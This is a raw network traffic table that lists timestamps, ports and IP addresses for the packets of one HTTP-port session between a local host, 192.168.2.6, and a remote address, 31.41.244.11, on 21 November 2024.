Nov 21, 2024 14:11:13.157538891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157572985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157605886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157615900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157639980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157675028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157707930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157728910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157741070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157789946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157807112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157825947 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157860041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157870054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157895088 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157929897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157939911 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157968044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158001900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158030987 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158037901 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158041954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158123016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158158064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158173084 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158191919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158226013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158258915 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158267021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158288956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158293009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158309937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158327103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158334017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158360958 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158389091 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158396006 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158402920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158428907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158444881 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158463955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158508062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158509970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158543110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158565044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158576965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158611059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158626080 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158643961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158653975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158679962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158693075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158714056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158749104 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158782005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158806086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158806086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158817053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.158828974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.158999920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.159265041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.159300089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.159323931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.159351110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.159352064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.159388065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.159395933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.159430981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.274513960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.274631977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.274707079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.274740934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.274776936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.274790049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.274815083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.274825096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.274852037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.279824972 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.279885054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.279887915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.279922009 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.279951096 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.279957056 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.279995918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.280005932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.280034065 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.280828953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.280864000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.280894041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.280900002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.280946970 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.281533957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.281569004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.281580925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.281605005 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.281626940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.281647921 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.282368898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.282424927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.282433033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.282459974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.282538891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.283027887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.283082008 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.283092976 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.283118010 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.283164024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.283931971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284065962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284101963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284183979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.284226894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.284804106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284925938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284939051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.284961939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.284977913 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.285001040 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.285691977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.285763025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.285825014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.285859108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.285868883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.285965919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.286560059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.286614895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.286616087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.286657095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.286667109 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.286847115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.287453890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.287489891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.287518978 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.287525892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.287553072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.287575006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.288295031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.288369894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.288404942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.288438082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.288459063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.289249897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.289304018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.289339066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.289341927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.289364100 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.289478064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.290047884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.290102005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.290106058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.290141106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.290194988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.291030884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.291157007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.291193962 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.291229963 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.291245937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.291841984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.291955948 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.291990042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.292007923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.292037964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.292702913 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.292768955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.292778015 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.292804003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.292938948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.293611050 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.293647051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.293680906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.293714046 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.293724060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.294202089 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.294256926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.294260025 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.294292927 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.294337988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.295180082 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.295233965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.295269012 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.295335054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.295995951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.296050072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.296084881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.296137094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.296859980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.296914101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.296948910 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.297005892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.297744989 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.297820091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.297854900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.297908068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.298793077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.298851967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.298898935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.298907042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.299320936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.299607038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.299659967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.299690008 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.299714088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.299885988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.300502062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.300554991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.300563097 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.300590992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.300607920 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.300636053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.301237106 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.301292896 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.301295042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.301327944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.301378012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.302362919 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.302400112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.302428961 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.302436113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.302452087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.302485943 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.303206921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.303261995 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.303297043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.303478956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.303940058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.303994894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.303998947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.304030895 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.304039001 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.304078102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.304794073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.304850101 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.304862976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.304898024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.304918051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.304953098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.305680990 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.305735111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.305769920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.305824041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.306662083 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.306714058 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.306714058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.306751013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.306775093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.306811094 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.307483912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.307549953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.307584047 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.307584047 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.307606936 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.307646036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.308248043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.308342934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.308351040 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.308397055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.476056099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476150036 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.476161957 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476181030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476207972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.476228952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.476380110 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476425886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.476430893 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476449966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.476489067 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.477298021 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.477348089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.477353096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.477372885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.477394104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.477425098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.478189945 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.478236914 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.478243113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.478259087 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.478287935 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.478311062 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.479020119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.479082108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.479089022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.479104996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.479166031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.479964018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480011940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.480026007 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480041981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480071068 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.480086088 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.480787992 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480814934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480837107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.480839014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.480880022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.481645107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.481705904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.481713057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.481730938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.481759071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.481774092 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.482530117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.482573032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.482589960 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.482609034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.482624054 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.483551025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.483601093 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.483642101 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.483666897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.483689070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.483716965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.484358072 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.484426975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.484455109 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.484478951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.484699011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.485191107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.485255957 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.485265970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.485281944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.485311031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.485327005 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.486171961 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.486222029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.486257076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.486274004 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.486329079 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.487030029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487046003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487061977 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487083912 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.487108946 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.487812996 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487862110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.487878084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487894058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.487926006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.487941027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.488766909 CET	80	49876	31.41.244.11	192.168.2.6
